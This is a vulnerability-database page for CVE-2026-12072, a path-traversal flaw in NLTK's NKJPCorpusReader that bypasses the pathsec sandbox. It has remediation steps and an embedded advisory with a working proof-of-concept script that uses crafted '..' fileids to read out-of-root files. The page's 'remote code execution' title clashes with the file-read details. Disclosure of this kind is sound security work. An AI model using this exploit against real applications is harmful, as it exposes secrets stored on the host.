CVE-2026-12072: Natural Language Toolkit (NLTK) Remote Code Execution Vulnerability
HIGHCVE-2026-12072 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Natural Language Toolkit (NLTK) libraries in the PyPI ecosystem. The issue involves path traversal in nkjpcorpusreader leads to arbitrary file read and bypasses the nltk.pathsec sandbox (enforce=true). Remediation is available by upgrading affected packages to version 3.10.0.
CVE-2026-12072 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-12072
To remediate this vulnerability, upgrade all affected Natural Language Toolkit (NLTK) dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install nltk>=3.10.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show nltk
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-12072, inspect your installed packages using pip:
pip show nltk
Analyze the terminal output to locate any version of Natural Language Toolkit (NLTK) in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.10.0), your application is affected.
Note: The pip show nltk command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Natural Language Toolkit (NLTK), software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-12072 Affected Natural Language Toolkit (NLTK) Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nltk
|
PyPI |
< 3.10.0
|
3.10.0
|
References
Frequently Asked Questions
What is CVE-2026-12072?
Which Natural Language Toolkit (NLTK) versions are affected?
What version fixes CVE-2026-12072?
Is nltk affected?
What is the CVSS score of CVE-2026-12072?
What CWE is associated with CVE-2026-12072?
How can I check PyPI dependencies for CVE-2026-12072?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6hm5-jgcp-p838",
"modified" : "2026-07-31T16:50:55Z",
"published" : "2026-07-31T16:50:55Z",
"aliases" : [ "CVE-2026-12072" ],
"summary" : "Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)",
"details" : "### Summary\n A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n influence the `fileids` argument of its public read methods (`header`, `raw`,\n `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n reader builds the file path with no containment check and opens it with the\n builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the\n strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n deployments. `header()` returns the parsed content of the out-of-root file to\n the caller (arbitrary file read).\n\n ### Details\n `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n access … will raise `PermissionError`.\" That guarantee is enforced via\n `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n `nltk.pathsec.validate_path(...)`.\n\n `NKJPCorpusReader` never uses that protected path. In\n `nltk/corpus/reader/nkjp.py`:\n\n - `add_root()` builds the path by **plain string concatenation** with no\n normalization or containment check:\n ```python\n def add_root(self, fileid): # lines 96-102\n if self.root in fileid:\n return fileid # attacker-controlled value returned unchanged\n return self.root + fileid # plain concat, '..' not stripped\n ```\n - The header view appends a fixed basename and passes the string straight into\n the corpus view (which opens it with the builtin `open()`):\n ```python\n class NKJPCorpus_Header_View(XMLCorpusView): # line 181\n def __init__(self, filename, **kwargs):\n XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec) # line 189\n ```\n - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n builtin `open()`:\n ```python\n class XML_Tool: # line 243\n def __init__(self, root, filename):\n self.read_file = os.path.join(root, filename) # line 251\n def build_preprocessed_file(self):\n fr = open(self.read_file) # line 256 — pathsec never consulted\n ```\n\n Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n before opening — `NKJPCorpusReader` simply does not go through it.\n\n ### PoC\n Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n ```\n pip install \"nltk==3.9.4\"\n python3 poc.py\n ```\n\n `poc.py`:\n ```python\n import builtins, os, shutil, tempfile, warnings\n warnings.simplefilter(\"ignore\")\n import nltk, nltk.pathsec as pathsec\n from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n print(\"nltk\", nltk.__version__)\n\n # A legitimate, empty NKJP corpus root (what a real app has).\n root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"<x/>\")\n\n # The attacker's target: a file OUTSIDE the corpus root.\n secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n \"<teiHeader><fileDesc><sourceDesc><bibl>\"\n \"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>\"\n \"</bibl></sourceDesc></fileDesc></teiHeader>\")\n\n # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n pathsec.ENFORCE = True\n print(\"ENFORCE =\", pathsec.ENFORCE)\n\n # Prove the out-of-root read and that pathsec is never consulted.\n opened = []; real = builtins.open\n builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n # Attacker-controlled `fileids`; '..' escapes the corpus root:\n evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n try:\n result = reader.header(fileids=[evil])\n finally:\n builtins.open = real\n\n print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n print(\"disclosed content :\", result[0][\"title\"])\n shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n ```\n\n Output (unmodified):\n ```\n nltk 3.9.4\n ENFORCE = True\n opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']\n disclosed content : SECRET-API-KEY=sk-live-DEADBEEF\n ```\n With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n ### Impact\n This is a path traversal (CWE-22) leading to arbitrary file read. Any\n application that passes attacker-influenced values into `NKJPCorpusReader`'s\n `fileids` (e.g. letting a user choose which corpus document to read) is\n affected; the attacker can escape the corpus root and read files elsewhere on\n the host, defeating the `ENFORCE=True` sandbox.\n\n Honest scoping: `header()` discloses the content of out-of-root files named\n `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n `NamedTemporaryFile`) suppresses their return value on current Python, so for\n those modes the impact is arbitrary file open/read. The attacker chooses the\n directory freely; a fixed basename is appended per mode. The same\n \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "nltk"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.10.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.9.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nltk/nltk"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-31T16:50:55Z",
"nvd_published_at" : "2026-06-15T20:16:34Z"
}
}